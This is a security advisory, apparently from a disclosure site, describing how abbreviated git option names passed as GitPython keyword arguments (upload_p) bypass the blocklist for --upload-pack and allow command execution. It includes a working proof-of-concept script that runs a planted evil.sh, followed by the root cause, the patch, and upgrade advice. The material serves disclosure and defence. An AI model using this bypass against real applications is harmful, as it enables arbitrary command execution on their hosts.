GitPython: OS Command Injection via git long-option prefix abbreviation bypass
GitPython's blocklist for dangerous git options like --upload-pack can be bypassed by passing an abbreviated form of the option name as a Python keyword argument, letting an attacker run arbitrary com
The problem
GitPython added a blocklist in 3.1.47 to reject dangerous git options such as `--upload-pack`, `--receive-pack`, and `--exec`. The guard normalizes option names only by converting underscores to hyphens, then does an exact dict lookup.
Git's CLI parser accepts any unambiguous prefix of a long option. A kwarg like `upload_p` dashifies to `upload-p`, misses the blocklist, and reaches git as `--upload-p=<value>`, which git silently resolves to `--upload-pack=<value>`. This means arbitrary command execution is possible even when `allow_unsafe_options=False` (the default).
Exploitation requires a host application that passes attacker-controlled kwarg keys into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`. Where keys are fixed or validated upstream, the library's safety guard is not reachable.
Proof of concept
A working proof-of-concept for this issue in GitPython, with the exact payload below.
import os, stat, tempfile
from git import Repo
work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")
# fake upload-pack binary that proves arbitrary execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)
bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)
# 'upload_p' -> --upload-p= -> git resolves to --upload-pack= -> runs evil.sh
try:
Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
pass # git aborts after payload executes
print("RCE:", os.path.exists(marker)) # True = command injection confirmedThe root cause is an asymmetry between what `check_unsafe_options` models and what git actually accepts. The guard only normalizes `_` to `-` and does exact dict membership, so abbreviated keys like `upload_p` pass right through. Git's option parser then expands the abbreviation to the full blocked flag and executes the attacker-supplied binary.
The patch (PR #2168, commit `56806080`) adds prefix-aware matching: any option whose canonical name is an unambiguous prefix of a blocked option is now rejected. This closes the gap between the library's grammar model and git's actual CLI parser. CWE-184 (Incomplete List of Disallowed Inputs) leads directly to CWE-78 (OS Command Injection).
The fix
Upgrade GitPython to 3.1.51 or later. The fix rejects abbreviated forms of all blocked git options in `check_unsafe_options`, ensuring no prefix of a dangerous option name can slip through. If you cannot upgrade immediately, audit all call sites of `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, and `Remote.push()` to confirm kwarg keys are hardcoded and never derived from user input.
Reported by hackkim.
Related research
- highGitPython unsafe clone option gate bypass via joined short options
- high · 8.4GitPython Command Injection and Arbitrary File Overwrite via Unguarded Git Options
- high · 8.2CVE-2026-49825CVE-2026-49825: lxml_html_clean javascript: XSS via xlink:href
- high · 7.8CVE-2026-55426CVE-2026-55426: linuxfabrik-lib OS Command Injection via shell_exec